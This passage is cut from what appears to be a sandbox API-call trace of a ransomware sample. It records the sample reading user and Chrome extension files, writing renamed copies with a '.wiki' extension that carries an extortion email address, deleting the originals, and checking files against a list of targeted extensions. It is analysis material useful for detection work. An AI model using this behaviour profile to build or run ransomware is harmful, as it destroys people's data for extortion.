Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.323] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.323] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.324] GetLastError () returned 0x0 [0181.324] ReadFile (in: hFile=0x160, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x144, lpOverlapped=0x0) returned 1 [0181.325] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x150, lpOverlapped=0x0) returned 1 [0181.326] ReadFile (in: hFile=0x160, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.326] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0181.326] SetEndOfFile (hFile=0x19c) returned 1 [0181.326] CloseHandle (hObject=0x19c) returned 1 [0181.326] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.326] SetEndOfFile (hFile=0x160) returned 1 [0181.327] CloseHandle (hObject=0x160) returned 1 [0181.327] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.327] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json")) returned 1 [0181.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.327] lstrlenW (lpString=".doc") returned 4 [0181.327] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0181.327] lstrlenW (lpString=".docx") returned 5 [0181.327] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0181.327] lstrlenW (lpString=".pdf") returned 4 [0181.328] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0181.328] lstrlenW (lpString=".xls") returned 4 [0181.328] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0181.328] lstrlenW (lpString=".xlsx") returned 5 [0181.328] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0181.328] lstrlenW (lpString=".ppt") returned 4 [0181.328] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString=".zip") returned 4 [0181.328] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0181.328] lstrlenW (lpString=".rar") returned 4 [0181.328] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0181.328] lstrlenW (lpString=".bz2") returned 4 [0181.328] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0181.328] lstrlenW (lpString=".7z") returned 3 [0181.328] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString=".dbf") returned 4 [0181.328] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString=".1cd") returned 4 [0181.328] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString=".jpg") returned 4 [0181.328] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.328] lstrlenW (lpString=".doc") returned 4 [0181.328] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".docx") returned 5 [0181.329] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0181.329] lstrlenW (lpString=".pdf") returned 4 [0181.329] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".xls") returned 4 [0181.329] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".xlsx") returned 5 [0181.329] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0181.329] lstrlenW (lpString=".ppt") returned 4 [0181.329] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0181.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.329] lstrlenW (lpString=".zip") returned 4 [0181.329] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".rar") returned 4 [0181.329] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".bz2") returned 4 [0181.329] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0181.329] lstrlenW (lpString=".7z") returned 3 [0181.329] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0181.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.329] lstrlenW (lpString=".dbf") returned 4 [0181.329] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0181.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.329] lstrlenW (lpString=".1cd") returned 4 [0181.329] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0181.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 151 [0181.329] lstrlenW (lpString=".jpg") returned 4 [0181.329] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0181.330] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.330] lstrlenW (lpString="view.js") returned 7 [0181.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.861] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=2373) returned 1 [0181.861] CloseHandle (hObject=0x160) returned 1 [0181.861] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js")) returned 0x2020 [0181.861] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.861] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.862] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.862] GetLastError () returned 0x0 [0181.862] ReadFile (in: hFile=0x160, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x945, lpOverlapped=0x0) returned 1 [0181.864] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x950, lpOverlapped=0x0) returned 1 [0181.865] ReadFile (in: hFile=0x160, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.865] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0181.865] SetEndOfFile (hFile=0x198) returned 1 [0181.865] CloseHandle (hObject=0x198) returned 1 [0181.865] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.865] SetEndOfFile (hFile=0x160) returned 1 [0181.866] CloseHandle (hObject=0x160) returned 1 [0181.866] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.866] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js")) returned 1 [0181.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.866] lstrlenW (lpString=".doc") returned 4 [0181.866] lstrcmpiW (lpString1=".doc", lpString2="w.js") returned -1 [0181.866] lstrlenW (lpString=".docx") returned 5 [0181.866] lstrcmpiW (lpString1=".docx", lpString2="ew.js") returned -1 [0181.866] lstrlenW (lpString=".pdf") returned 4 [0181.866] lstrcmpiW (lpString1=".pdf", lpString2="w.js") returned -1 [0181.866] lstrlenW (lpString=".xls") returned 4 [0181.866] lstrcmpiW (lpString1=".xls", lpString2="w.js") returned -1 [0181.866] lstrlenW (lpString=".xlsx") returned 5 [0181.867] lstrcmpiW (lpString1=".xlsx", lpString2="ew.js") returned -1 [0181.867] lstrlenW (lpString=".ppt") returned 4 [0181.867] lstrcmpiW (lpString1=".ppt", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString=".zip") returned 4 [0181.867] lstrcmpiW (lpString1=".zip", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".rar") returned 4 [0181.867] lstrcmpiW (lpString1=".rar", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".bz2") returned 4 [0181.867] lstrcmpiW (lpString1=".bz2", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".7z") returned 3 [0181.867] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString=".dbf") returned 4 [0181.867] lstrcmpiW (lpString1=".dbf", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString=".1cd") returned 4 [0181.867] lstrcmpiW (lpString1=".1cd", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString=".jpg") returned 4 [0181.867] lstrcmpiW (lpString1=".jpg", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.867] lstrlenW (lpString=".doc") returned 4 [0181.867] lstrcmpiW (lpString1=".doc", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".docx") returned 5 [0181.867] lstrcmpiW (lpString1=".docx", lpString2="ew.js") returned -1 [0181.867] lstrlenW (lpString=".pdf") returned 4 [0181.867] lstrcmpiW (lpString1=".pdf", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".xls") returned 4 [0181.867] lstrcmpiW (lpString1=".xls", lpString2="w.js") returned -1 [0181.867] lstrlenW (lpString=".xlsx") returned 5 [0181.867] lstrcmpiW (lpString1=".xlsx", lpString2="ew.js") returned -1 [0181.868] lstrlenW (lpString=".ppt") returned 4 [0181.868] lstrcmpiW (lpString1=".ppt", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.868] lstrlenW (lpString=".zip") returned 4 [0181.868] lstrcmpiW (lpString1=".zip", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString=".rar") returned 4 [0181.868] lstrcmpiW (lpString1=".rar", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString=".bz2") returned 4 [0181.868] lstrcmpiW (lpString1=".bz2", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString=".7z") returned 3 [0181.868] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.868] lstrlenW (lpString=".dbf") returned 4 [0181.868] lstrcmpiW (lpString1=".dbf", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.868] lstrlenW (lpString=".1cd") returned 4 [0181.868] lstrcmpiW (lpString1=".1cd", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 162 [0181.868] lstrlenW (lpString=".jpg") returned 4 [0181.868] lstrcmpiW (lpString1=".jpg", lpString2="w.js") returned -1 [0181.868] lstrlenW (lpString=".id-") returned 4 [0181.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6815a0 | out: hHeap=0x630000) returned 1 [0181.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed60 | out: hHeap=0x630000) returned 1 [0181.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cfda0 | out: hHeap=0x630000) returned 1 [0181.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dfda8 | out: hHeap=0x630000) returned 1 [0181.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x38e0020 | out: hHeap=0x630000) returned 1 [0181.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681588 | out: hHeap=0x630000) returned 1 [0181.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681588 [0181.875] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681588, Size=0x20) returned 0x69e6c0 [0181.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681588 [0181.875] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681588, Size=0x20) returned 0x69e760 [0181.875] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.977] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.977] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff58 | out: OldValue=0x2d2ff58*=0x1) returned 1 [0181.977] lstrlenW (lpString="kernel32.dll") returned 12 [0181.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e760 | out: hHeap=0x630000) returned 1 [0181.977] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 Thread: id = 337 os_tid = 0x798 [0147.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6effc0 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6fffc8 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6aed40 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681558 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x39f0020 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681600 [0147.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681600, Size=0x20) returned 0x69e670 [0147.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681600 [0147.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681600, Size=0x20) returned 0x69e6c0 [0147.784] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.784] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.784] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff58 | out: OldValue=0x2edff58*=0x0) returned 1 [0147.784] lstrlenW (lpString="kernel32.dll") returned 12 [0147.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.784] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.784] Sleep (dwMilliseconds=0x64) [0147.947] lstrcmpiW (lpString1=".LOG", lpString2=".wiki") returned -1 [0147.947] lstrlenW (lpString="BCD.LOG") returned 7 [0147.947] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.947] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.947] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.947] lstrlenW (lpString=".doc") returned 4 [0147.947] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0147.947] lstrlenW (lpString=".docx") returned 5 [0147.947] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0147.947] lstrlenW (lpString=".pdf") returned 4 [0147.947] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0147.948] lstrlenW (lpString=".xls") returned 4 [0147.948] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0147.948] lstrlenW (lpString=".xlsx") returned 5 [0147.948] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0147.948] lstrlenW (lpString=".ppt") returned 4 [0147.948] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString=".zip") returned 4 [0147.948] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0147.948] lstrlenW (lpString=".rar") returned 4 [0147.948] lstrcmpiW (lpString1=".rar", 